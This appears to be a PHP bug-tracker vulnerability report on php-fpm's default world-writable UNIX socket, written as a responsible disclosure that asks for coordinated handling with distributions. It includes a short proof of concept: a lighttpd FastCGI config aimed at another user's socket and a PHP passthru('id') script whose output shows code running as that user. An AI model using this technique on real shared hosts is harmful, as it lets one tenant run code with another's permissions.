Description:
------------
Both default config [1] and compiled-in defaults [2] of sapi/fpm lead to configurations which easily allow any user with rights to connect to a UNIX socket to run arbitrary code with the permissions of the fpm user.

I agree that similar problems are to be expected when using TCP sockets, but as soon as an admin chooses to set the listen.user/listen.group options, it is expected that these restrictions are effective somehow (which they are not).

A typical scenario for this issue:
- shared hosting environment with multiple fpm pools, running with different permissions (user1, user2, ...)
- user1 can easily run code as user2 by pretending to be a FastCGI client and connecting to (e.g.) /var/run/php-fpm.user1.sock

Other scenarios are possible as well.

This is not a hypothetical issue, Ubuntu 14.04 allows running arbitrary code as the "www-data" user. I will file an Ubuntu bug for this shortly as well.

Current git (ca447a8f6f65be565301350e27e0f6a57369a0f9) is affected, but earlier versions are probably affected, too.

Regarding the handling of this issue:
I suspect that this issue is of different severity for you and for distros shipping with insecure default configs.

Would it be possible to keep this issue private and have no code committed yet, but to notify distros@openwall.org once a patch is ready?

Please let me know whether you are ok with this and whether you want me to handle distros@ contact.


[1] https://github.com/php/php-src/blob/php-5.5.11/sapi/fpm/php-fpm.conf.in#L172
[2] https://github.com/php/php-src/blob/php-5.5.11/sapi/fpm/fpm/fpm_unix.c#L31

Test script:
---------------
php-fpm.conf
------------

[global]
error_log = /tmp/php-fpm-vuln/php-fpm-error.log

[www]
user = user1
group = user1
listen = /tmp/php-fpm-vuln/sock
pm = dynamic
pm.max_children = 5 
pm.start_servers = 2 
pm.min_spare_servers = 1 
pm.max_spare_servers = 3 

$ sudo ./php-fpm -y php-fpm.conf
$ ls -l /tmp/php-fpm-vuln/sock
srw-rw-rw- 1 root root 0 Apr 12 12:49 sock


The issue should be obvious by now, but exploiting it is trivial as well, just point some FastCGI client at the socket.

For quick testing I used lighty:

user2@localhost:/tmp/lighty$ cat > lighttpd.conf
server.modules = ( "mod_fastcgi" )
fastcgi.server = (
        ".php" => (
                "" => (
                        "socket" => "/tmp/php-fpm-vuln/sock",
                        "check-local" => "enable"
                )
        )
)

server.port = 8000
server.document-root = "/tmp/lighty"

user2@localhost:/tmp/lighty$ vim lighttpd.conf 
user2@localhost:/tmp/lighty$ echo '<?php passthru("id");' > id.php
user2@localhost:/tmp/lighty$ lighttpd -f lighttpd.conf 
user2@localhost:/tmp/lighty$ curl http://localhost:8000/id.php
uid=1001(user1) gid=1001(user1) groups=1001(user1)


Expected result:
----------------
Sockets should be created with sane default permissions (0660).
Default config should suggest sane default permissions (0660).

The PoC should return some error code (depending on the FastCGI client; in my case: 503 Service unavailable) once this is fixed.

Actual result:
--------------
$ ls -l /tmp/php-fpm-vuln/sock
srw-rw-rw- 1 root root 0 Apr 12 12:49 sock

user2 can run code with the permissions of user1.